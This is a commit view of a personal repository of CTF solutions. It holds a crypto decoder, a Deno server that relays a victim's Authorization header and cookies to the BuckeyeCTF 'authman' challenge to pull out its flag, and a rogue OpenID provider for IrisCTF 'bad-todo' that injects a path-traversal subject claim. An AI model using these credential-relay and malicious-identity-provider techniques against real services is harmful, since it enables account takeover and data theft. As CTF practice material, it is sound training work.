My solutions for CTFs
0

Configure Feed

Select the types of activity you want to include in your feed.

Initial commit

Takumi Akimoto (Dec 4, 2025, 11:47 AM +0900) 204dca55 f10179ae

+145
+1
.gitignore
··· 1 + workspace/
+17
alpacahack/daily/a-fact-of-ctf/solve.py
··· 1 + # all prime numbers less than 300 2 + primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293] 3 + 4 + ct = int(input(), 16) 5 + flag_chars = [] 6 + 7 + for prime in primes: 8 + if ct == 1: 9 + break 10 + exp = 0 11 + while ct % prime == 0: 12 + ct //= prime 13 + exp += 1 14 + flag_chars.append(chr(exp)) 15 + 16 + flag = ''.join(flag_chars) 17 + print(flag)
+5
buckeyectf/2025/authman/deno.json
··· 1 + { 2 + "fmt": { 3 + "semiColons": false 4 + } 5 + }
+32
buckeyectf/2025/authman/server.ts
··· 1 + const VICTIM_URL = "https://authman.challs.pwnoh.io" 2 + let cookies: string | null = null 3 + 4 + Deno.serve(async (req) => { 5 + const incomingAuthHeader = req.headers.get("Authorization") 6 + 7 + if (incomingAuthHeader) { 8 + const flagResp = await fetch(`${VICTIM_URL}/auth`, { 9 + headers: { 10 + "Authorization": incomingAuthHeader, 11 + "Cookie": cookies ?? "", 12 + }, 13 + }) 14 + const html = await flagResp.text() 15 + 16 + console.log(/bctf\{[a-zéA-Z0-9_-]+\}/.exec(html)?.[0]) 17 + } else { 18 + const primeResp = await fetch(`${VICTIM_URL}/auth`) 19 + const reflectedAuthHeader = primeResp.headers.get("www-authenticate") 20 + cookies = primeResp.headers.get("set-cookie") 21 + 22 + if (reflectedAuthHeader) { 23 + const headers = new Headers() 24 + 25 + headers.set("WWW-Authenticate", reflectedAuthHeader) 26 + 27 + return new Response("Unauthorized", { status: 401, headers }) 28 + } 29 + } 30 + 31 + return new Response() 32 + })
+14
compose.yaml
··· 1 + services: 2 + workspace: 3 + build: ./docker 4 + tty: true 5 + volumes: 6 + - type: bind 7 + source: ./workspace/ 8 + target: /workspace/ 9 + working_dir: /workspace/ 10 + network_mode: host 11 + cap_add: 12 + - SYS_PTRACE 13 + security_opt: 14 + - seccomp:unconfined
+31
docker/Dockerfile
··· 1 + #syntax=docker/dockerfile:1 2 + FROM --platform=linux/amd64 ubuntu:24.04 3 + 4 + RUN rm -f /etc/apt/apt.conf.d/docker-clean; echo 'Binary::apt::APT::Keep-Downloaded-Packages "true";' > /etc/apt/apt.conf.d/keep-cache 5 + RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ 6 + --mount=type=cache,target=/var/lib/apt,sharing=locked \ 7 + apt-get update && \ 8 + apt-get upgrade -y && \ 9 + apt-get --no-install-recommends install -y \ 10 + binutils \ 11 + build-essential \ 12 + ca-certificates \ 13 + curl \ 14 + gdb \ 15 + git \ 16 + python3 \ 17 + sudo \ 18 + unrar 19 + 20 + RUN echo ubuntu ALL=\(root\) NOPASSWD:ALL > /etc/sudoers.d/ubuntu && \ 21 + chmod 0440 /etc/sudoers.d/ubuntu 22 + 23 + USER ubuntu 24 + 25 + RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \ 26 + --mount=type=cache,target=/var/lib/apt,sharing=locked \ 27 + git clone --depth=1 https://github.com/pwndbg/pwndbg.git ~/pwndbg && \ 28 + cd ~/pwndbg && \ 29 + ./setup.sh && \ 30 + cd ~ && \ 31 + rm -rf ~/pwndbg
+5
irisctf/2025/bad-todo/deno.json
··· 1 + { 2 + "fmt": { 3 + "semiColons": false 4 + } 5 + }
+40
irisctf/2025/bad-todo/server.ts
··· 1 + const issuer = "https://close-badger-22.deno.dev" 2 + 3 + Deno.serve((req) => { 4 + const reqUrl = new URL(req.url) 5 + 6 + if (reqUrl.pathname === "/.well-known/openid-configuration") { 7 + return Response.json({ 8 + issuer: issuer, 9 + authorization_endpoint: issuer + "/auth", 10 + token_endpoint: issuer + "/token", 11 + userinfo_endpoint: issuer + "/userinfo", 12 + }) 13 + } 14 + 15 + if (reqUrl.pathname === "/auth") { 16 + const redirectUri = reqUrl.searchParams.get("redirect_uri") 17 + const state = reqUrl.searchParams.get("state") 18 + 19 + if (!redirectUri) { 20 + return new Response("redirect_uri is required", { status: 400 }) 21 + } 22 + 23 + return Response.redirect(redirectUri + "?state=" + state) 24 + } 25 + 26 + if (reqUrl.pathname === "/token") { 27 + return Response.json({ 28 + access_token: "token", 29 + token_type: "Bearer", 30 + }) 31 + } 32 + 33 + if (reqUrl.pathname === "/userinfo") { 34 + return Response.json({ 35 + sub: "..flag", 36 + }) 37 + } 38 + 39 + return new Response("Not Found", { status: 404 }) 40 + })